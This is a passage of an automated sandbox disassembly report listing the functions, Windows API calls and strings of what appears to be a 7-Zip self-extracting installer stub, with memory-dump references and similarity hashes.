??3@YAXPAX@Z.MSVCRT ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT ref: 00405906
??3@YAXPAX@Z.MSVCRT ref: 00405912
??3@YAXPAX@Z.MSVCRT ref: 00405918
??3@YAXPAX@Z.MSVCRT ref: 00405946

Strings

:Repeat, xrefs: 00405826
open, xrefs: 004058F7
" goto Repeat, xrefs: 00405874
7ZSfx%03x.cmd, xrefs: 004057EC
if exist ", xrefs: 0040585B
", xrefs: 0040584D, 00405852, 00405896
del ", xrefs: 00405833, 00405838, 00405881

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT ref: 0040355D
??3@YAXPAX@Z.MSVCRT ref: 00403565

Strings

riched20, xrefs: 004034A0
STATIC, xrefs: 00403440
RichEdit20W, xrefs: 004034EF
{\rtf, xrefs: 0040346C

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

STATIC, xrefs: 004022F3
IMAGES, xrefs: 0040232E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040377F
??3@YAXPAX@Z.MSVCRT ref: 00403787
??3@YAXPAX@Z.MSVCRT ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT ref: 0040299D

??3@YAXPAX@Z.MSVCRT ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT ref: 00402D76

??3@YAXPAX@Z.MSVCRT ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

:Language:%u, xrefs: 00403F4E
;!@Install@!UTF-8!, xrefs: 00403EA4
;!@InstallEnd@!, xrefs: 00403EB3
:%hs, xrefs: 00403F21

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
